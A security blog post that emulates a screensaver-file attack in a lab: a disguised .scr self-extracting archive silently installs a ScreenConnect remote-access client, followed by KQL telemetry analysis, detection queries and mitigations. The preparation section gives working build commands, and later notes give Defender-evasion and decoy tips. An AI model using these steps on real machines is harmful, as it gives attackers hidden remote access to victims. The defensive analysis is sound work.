← Back to Posts

Windows Screensaver Files and RMM Persistence

How do I use this?

Click this link Copy init KQL. This will copy a lot of KQL to clipboard that will create the required tables, ASIM parsers, helper functions, and start ingestion of the telemetry. A new window will also open to Azure Data Explorer. Create a free cluster and a database (and a Microsoft account if you don't have one) then paste the clipboard contents into the query window and click Run. The bootstrap process will take about a minute. If you have an existing ADX cluster with data in it, keep in mind that the bootstrap process wipes functions and tables that share names with many common tables. You should create another database if you're concerned about data loss.

The Copy init KQL functionality depends on JS. If it isn't enabled, the link will open a new window to GitHub where you can select all and copy the KQL. Then visit Azure Data Explorer to paste and run the bootstrap query. There are links under the Actions heading on the right for convenience.

Attack Preparation

You can skip to the attack analysis section if you're not interested in the details around prep for initial access.

Pre-requisites:

  • Download the 7z LZMA SDK from https://7-zip.org/sdk.html
  • Download a ScreenConnect client installer (MSI). If you're not a current customer, you may be able to obtain a free seven day trial. Note that they won't permit registration by addresses from a domain used by free email services (such as Gmail, Yahoo, Yandex, etc) owing to widespread abuse by threat actors. Then:
  • Write a batch file to create a self-extracting archive with 7z using LZMA at max compression that embeds the MSI. The archive will have a .scr file extension

Now, let's take a quick look at the first line of the batch script cr.bat:

7zr.exe a archive.7z ScreenConnect.ClientSetup.msi install.cmd -mx

This creates a 7-Zip LZMA Ultra (-mx) compressed self-extracting archive that embeds ScreenConnect Client and a batch script install.cmd. More on that batch script later.

The next line of cr.bat reads:

copy /b 7zSD.sfx + config.txt + archive.7z finance.scr

This concatenates the SFX stub, the 7-Zip SFX configuration directive that tells the stub what to execute after extraction, and ScreenConnect MSI into a single executable with a .scr extension.

config.txt reads:

;!@Install@!UTF-8!
Title="ScreenConnect Client Setup"
RunProgram="install.cmd"
;!@InstallEnd@!

install.cmd contains this:

@echo off
msiexec /i "%~dp0ScreenConnect.ClientSetup.msi" /qn /norestart

Note that %~dp0 expands to the drive letter and path of the batch script, ~d extracts the drive letter e.g. C: ~p extracts the path, e.g. \Users\domainuser\AppData\Local\Temp\7z1234\ %0 is the batch file name

This resolves to something like C:\Users\domainuser\AppData\Local\Temp\7z1234\ and ensures msiexec finds the MSI in the same dir as install.cmd. The arguments ensure installation is silent and no restart is required.

Analysis

The telemetry was collected during execution of 2026-02-11-inv.scr and finance.scr. These are two different versions of the same attack: the former is described above and has the drawback of briefly launching cmd.exe, and the latter adds an additional execution with VBScript (the 7-Zip SFX stub runs silent.vbs which subsequently runs install.cmd while hiding the cmd.exe window). The second version will pop a dialog, "The publisher could not be verified. Are you sure you want to run this software?" Note that wmic was used to uninstall ScreenConnect between executions.

Here's a short Mermaid diagram for clarity:

graph TD
    A["2026-02-11-inv.scr (6808)"] --> B["cmd.exe (3460)<br>cmd.exe /c .\install.cmd /S"]
    B --> C["conhost.exe (7032)"]
    B --> D["msiexec.exe (9192)<br>ScreenConnect.ClientSetup.msi /qn /norestart"]

    E["finance.scr (14224)"] --> F["wscript.exe (12656)<br>silent.vbs /S"]
    F --> G["cmd.exe (10316)<br>install.cmd"]
    G --> H["conhost.exe (712)"]
    G --> I["msiexec.exe (396)<br>ScreenConnect.ClientSetup.msi /qn /norestart"]
  1. The victim visited limewire.com. In this case, MDE didn't seem to catch it:
DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl"

We can see the DNS events, though:

_Im_Dns
| where DnsQuery has "limewire.com"
| project 
    TimeGenerated, SrcIpAddr, DnsQuery, DnsResponseName, DnsQueryType, EventProduct

Truncated output:

TimeGeneratedSrcIpAddrDnsQueryDnsQueryTypeEventProduct
2/12/2026, 3:10:23.115 AM10.2.10.21limewire.com1Zeek
2/12/2026, 3:10:23.115 AM10.2.10.21limewire.com65Zeek
2/12/2026, 4:30:44.646 AM10.2.10.21api.limewire.com65Zeek

DnsQueryType 1 is A (IPv4), DnsQueryType 65 is HTTPS RR (resource record, which is relatively new). This lets the DNS response frontload Application-Layer Protocol Negotiation (ALPN) info from the server, an Encrypted Client Hello (ECH) public key, and other connection optimisation information. Modern browsers fire a DNS A record lookup and HTTPS RR in parallel to get the IP address and connection params. Most non-browser HTTP clients and malware tooling don't do the latter, which is a useful signal this was a real browser interaction. Both 10.2.10.21 (the endpoint) and 10.2.10.11 (the DC, forwarding) show up as sources because Zeek sees both the client-to-DC and the DC-to-upstream resolution.

  1. They downloaded both files. We can see this with the following query:
_ASim_FileEvent
| where TargetFileName endswith ".scr"
| project 
    EventStartTime, DvcHostname, ActorWindowsUsername, ActingProcessName,
    TargetFilePath, TargetFileSHA1, FileOriginReferrerUrl, FileOriginUrl

The output:

EventStartTimeDvcHostnameActorWindowsUsernameActingProcessNameTargetFilePathTargetFileSHA1FileOriginReferrerUrlFileOriginUrl
2026-02-12T18:17:55.6581549Zjd-win11-22h2-1JD-WIN11-22H2-1\localuserc:\program files\google\chrome\application\chrome.exeC:\Users\localuser\Downloads\2026-02-11-inv.scr\2026-02-11-inv.scr178fa411d7c75c702d66eb4125912f6e7f6539cf
2026-02-12T18:17:57.3132174Zjd-win11-22h2-1JD-WIN11-22H2-1\localuserc:\program files\google\chrome\application\chrome.exeC:\Users\localuser\Downloads\finance.scr\finance.scrbb3497e4f51745a17c2184ba14e95236640e7f8b
2026-02-12T18:18:05.4076425Zjd-win11-22h2-1JD-WIN11-22H2-1\localuserc:\program files\google\chrome\application\chrome.exeC:\Users\localuser\Downloads\2026-02-11-inv.scr\2026-02-11-inv.scr178fa411d7c75c702d66eb4125912f6e7f6539cfhttps://limewire.com/d/4J69shttps://limewire.com/decrypt/download?downloadId=0c2818b3-4c07-47aa-b9d4-fb67a0e05ede
2026-02-12T18:18:07.1440545Zjd-win11-22h2-1JD-WIN11-22H2-1\localuserc:\program files\google\chrome\application\chrome.exeC:\Users\localuser\Downloads\finance.scr\finance.scrbb3497e4f51745a17c2184ba14e95236640e7f8bhttps://limewire.com/d/4J69shttps://limewire.com/decrypt/download?downloadId=8c72ea29-b9c7-48c8-a025-7c481676f6cb
  1. The victim launched both files in succession. Let's get a full look using a query that builds a four-generation process tree rooted at .scr file execution:
let scr_events = 
    _ASim_ProcessEvent
    | where ActingProcessName endswith ".scr" or TargetProcessName endswith ".scr"
    | project
        Timestamp, Dvc, ActorUsername, TargetProcessName, TargetProcessId, TargetProcessCommandLine,
        ActingProcessName, ActingProcessCommandLine, ActingProcessId, ParentProcessName;
let scr_pids = 
    scr_events
    | where TargetProcessName endswith ".scr"
    | distinct TargetProcessId, Dvc;
let children = 
    _ASim_ProcessEvent
    | join kind=inner scr_pids on $left.ActingProcessId == $right.TargetProcessId, Dvc
    | project
        Timestamp, Dvc, ActorUsername, TargetProcessName, TargetProcessId, TargetProcessCommandLine,
        ActingProcessName, ActingProcessCommandLine, ActingProcessId, ParentProcessName;
let child_pids = 
    children
    | distinct TargetProcessId, Dvc;
let grandchildren = 
    _ASim_ProcessEvent
    | join kind=inner child_pids on $left.ActingProcessId == $right.TargetProcessId, Dvc
    | project
        Timestamp, Dvc, ActorUsername, TargetProcessName, TargetProcessId, TargetProcessCommandLine,
        ActingProcessName, ActingProcessCommandLine, ActingProcessId, ParentProcessName;
let grandchild_pids = 
    grandchildren
    | distinct TargetProcessId, Dvc;
let great_grandchildren = 
    _ASim_ProcessEvent
    | join kind=inner grandchild_pids on $left.ActingProcessId == $right.TargetProcessId, Dvc
    | project
        Timestamp, Dvc, ActorUsername, TargetProcessName, TargetProcessId, TargetProcessCommandLine,
        ActingProcessName, ActingProcessCommandLine, ActingProcessId, ParentProcessName;
union scr_events, children, grandchildren, great_grandchildren

Output:

TimestampDvcActorUsernameTargetProcessNameTargetProcessIdTargetProcessCommandLineActingProcessNameActingProcessCommandLineActingProcessIdParentProcessName
2026-02-12T18:18:06.5721120Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Users\localuser\Downloads\2026-02-11-inv.scr6808"2026-02-11-inv.scr" /Sc:\windows\explorer.exeExplorer.EXE10524userinit.exe
2026-02-12T18:18:07.5887521Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\SysWOW64\cmd.exe3460cmd.exe /c .\install.cmd /Sc:\users\localuser\downloads\2026-02-11-inv.scr"2026-02-11-inv.scr" /S6808explorer.exe
2026-02-12T18:18:07.5904378Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\System32\conhost.exe7032conhost.exe 0xffffffff -ForceV1c:\windows\syswow64\cmd.execmd.exe /c .\install.cmd /S34602026-02-11-inv.scr
2026-02-12T18:18:08.5893035Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\SysWOW64\msiexec.exe9192msiexec /i "C:\Users\LOCALU~1\AppData\Local\Temp\7zS89A9EA62\ScreenConnect.ClientSetup.msi" /qn /norestartc:\windows\syswow64\cmd.execmd.exe /c .\install.cmd /S34602026-02-11-inv.scr
2026-02-12T18:19:19.0768427Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Users\localuser\Downloads\finance.scr14224"finance.scr" /Sc:\windows\explorer.exeExplorer.EXE10524userinit.exe
2026-02-12T18:19:20.1134763Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\SysWOW64\wscript.exe12656"WScript.exe" "C:\Users\localuser\AppData\Local\Temp\7zS09757C93\silent.vbs" /Sc:\users\localuser\downloads\finance.scr"finance.scr" /S14224explorer.exe
2026-02-12T18:19:21.0863668Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\SysWOW64\cmd.exe10316cmd.exe /c ""C:\Users\localuser\AppData\Local\Temp\7zS09757C93\install.cmd" "c:\windows\syswow64\wscript.exe"WScript.exe" "C:\Users\localuser\AppData\Local\Temp\7zS09757C93\silent.vbs" /S12656finance.scr
2026-02-12T18:19:21.0871816Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\System32\conhost.exe712conhost.exe 0xffffffff -ForceV1c:\windows\syswow64\cmd.execmd.exe /c ""C:\Users\localuser\AppData\Local\Temp\7zS09757C93\install.cmd" "10316wscript.exe
2026-02-12T18:19:21.0896140Zjd-win11-22h2-1jd-win11-22h2-1\localuserC:\Windows\SysWOW64\msiexec.exe396msiexec /i "C:\Users\localuser\AppData\Local\Temp\7zS09757C93\ScreenConnect.ClientSetup.msi" /qn /norestartc:\windows\syswow64\cmd.execmd.exe /c ""C:\Users\localuser\AppData\Local\Temp\7zS09757C93\install.cmd" "10316wscript.exe

We can confirm successful client installation, with a query such as:

_ASim_RegistryEvent
| where RegistryValueData has_any ("ScreenConnect", "ConnectWise")
| project 
    Timestamp, DvcHostname, RegistryKey, RegistryValue, RegistryValueData, ActingProcessName

Output (truncated for brevity):

TimestampDvcHostnameRegistryKeyRegistryValueRegistryValueDataActingProcessName
2026-02-12T18:18:09.9758537Zjd-win11-22h2-1.ludus.domainHKEY_LOCAL_MACHINE\SOFTWARE\Classes\sc-207d3896f8faaf5e\shell\open\command"C:\Program Files (x86)\ScreenConnect Client (207d3896f8faaf5e)\ScreenConnect.WindowsClient.exe" "%1"c:\windows\system32\msiexec.exe
2026-02-12T18:18:09.9813717Zjd-win11-22h2-1.ludus.domainHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\LsaAuthentication Packagesmsv1_0 C:\Program Files (x86)\ScreenConnect Client (207d3896f8faaf5e)\ScreenConnect.WindowsAuthenticationPackage.dllc:\windows\system32\msiexec.exe
2026-02-12T18:18:09.9857778Zjd-win11-22h2-1.ludus.domainHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (207d3896f8faaf5e)ImagePath"C:\Program Files (x86)\ScreenConnect Client (207d3896f8faaf5e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-h69zsa-relay.screenconnect.com&p=443&s=bb5acd95-83d0-4980-8505-c3f8bd326f7d&k=BgIAAACkAABSU0Ex..."c:\windows\system32\services.exe
2026-02-12T18:18:12.7688031Zjd-win11-22h2-1.ludus.domainHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (207d3896f8faaf5e)ImagePath"C:\Program Files (x86)\ScreenConnect Client (207d3896f8faaf5e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-h69zsa-relay.screenconnect.com&p=443&s=bb5acd95-83d0-4980-8505-c3f8bd326f7d&k=BgIAAACkAABSU0Ex...&v=AQAAANCMnd8BFdER..."c:\program files (x86)\screenconnect client (207d3896f8faaf5e)\screenconnect.clientservice.exe

These events indicate:

  1. Custom URI protocol registration of the scheme sc-207d3896f8faaf5e://. Any URL using this scheme will launch ScreenConnect with it as an argument, enabling one-click session joining.
  2. Custom LSA Authentication Package registration so that ScreenConnect's DLL is loaded into lsass.exe, which it can use for its session management.
  3. A Windows service is created for the client and embeds a relay server/port, session GUID, and RSA public key for auth. The service launches on boot.
  4. The service rewrites its own ImagePath to store encrypted session state (creds, session tokens). This confirms the service started successfully.

Detection

An RMM monitoring query would work, such as the one on https://lolrmm.io:

// Detecting Unauthorized RMM Instances in Your MDE Environment
let ApprovedRMM = dynamic(["nomachine.com", "ivanti.com", "getgo.com"]); // Your approved RMM domains
let RMMList = externaldata(URI: string, RMMTool: string)
    [h'https://raw.githubusercontent.com/magicsword-io/LOLRMM/main/website/public/api/rmm_domains.csv'];
let RMMUrl = RMMList
| project URIClean = case(
    URI startswith "*.", replace_string(URI, "*.", ""),
    URI startswith "*", replace_string(URI, "*", ""),
    URI !startswith "*" and URI contains "*", replace_regex(URI, @".+?*", ""),
    URI
    );
DeviceNetworkEvents
| where Timestamp > ago(1h)
| where ActionType == @"ConnectionSuccess"
| where RemoteUrl has_any(RMMUrl.URIClean)
| where not (RemoteUrl has_any(ApprovedRMM))
| summarize arg_max(Timestamp, *) by DeviceId

One might detect a process with a screensaver file extension spawning another process, which is rare. Its also unusual for default Windows screensavers to execute from outside C:\Windows\:

_ASim_ProcessEvent
| where ActingProcessName has ".scr"
| where TargetProcessName !has ".scr"
| where ActingProcessCommandLine !startswith @"C:\Windows\"
| project
    Timestamp, Dvc, ActorUsername, ActingProcessName,
    TargetProcessName, TargetProcessCommandLine

Output:

TimestampDvcActorUsernameActingProcessNameTargetProcessNameTargetProcessCommandLine
2026-02-12T18:18:07.588Zjd-win11-22h2-1jd-win11-22h2-1\localuserc:\users\localuser\downloads\2026-02-11-inv.scrC:\Windows\SysWOW64\cmd.execmd.exe /c .\install.cmd /S
2026-02-12T18:19:20.113Zjd-win11-22h2-1jd-win11-22h2-1\localuserc:\users\localuser\downloads\finance.scrC:\Windows\SysWOW64\wscript.exe"WScript.exe" "C:\Users\localuser\AppData\Local\Temp\7zS09757C93\silent.vbs" /S

Mitigations

See the ReliaQuest article linked above. Really, the entire article is worth reading! It has suggestions such as:

  • Block or restrict execution from user-writable locations (Downloads, Desktop, and Temp). Use robust application control solutions (e.g., Windows Defender Application Control, AppLocker, or equivalent) to allow execution only from trusted, signed, or explicitly approved locations.
  • Maintain an approved-RMM allowlist (vendor/product, signing certificate, hashes where feasible). Alert on unapproved RMM agent installation signals, including new services, scheduled tasks, and unexpected ProgramData directories, created after user-initiated execution.
  • Block non-business file-hosting services at the DNS or web proxy layer. Where access is required, enforce browser isolation and download policies that restrict executable content (.scr, .exe, .msi) and archives likely to contain them.

Other notes

  • You need admin privileges to install ScreenConnect Client.
  • I initially tried this with WinRAR and IExpress (which ships with Windows). The resulting SFX files are quarantined immediately by Defender AV regardless of compression level.
  • I also tried creating an SFX with 7za.exe (the standalone, portable full version of the 7-Zip command-line tool). According to documentation, it uses LZMA Normal (-mx5) by default if no parameters are specified. The resulting archive was quarantined by Defender AV. If I specified a .exe extension in the command to create an archive and renamed it afterwards, Windows displays a warning dialog indicating the original filename upon execution.
  • This attack uses 7zr.exe, which supports fewer file formats. It specifies -mx, which defaults to LZMA Ultra (-mx9). There's no particular reason why you'd need to use 7zr.exe over 7za.exe: the latter supports more formats and doesn't require any DLLs (note that 7z.exe does need 7z.dll).
  • I think you could also embed a document so that it launches while the RMM installation runs in the background, which would be more deceptive than the current implementation. I leave this as an exercise for the curious reader.

References

ReliaQuest Threat Research New Campaign Uses Screensavers for RMM-Based Persistence
Huntress Daisy-Chaining Rogue RMM Tools: How Threat Actors Abuse Remote Management Software for Initial Access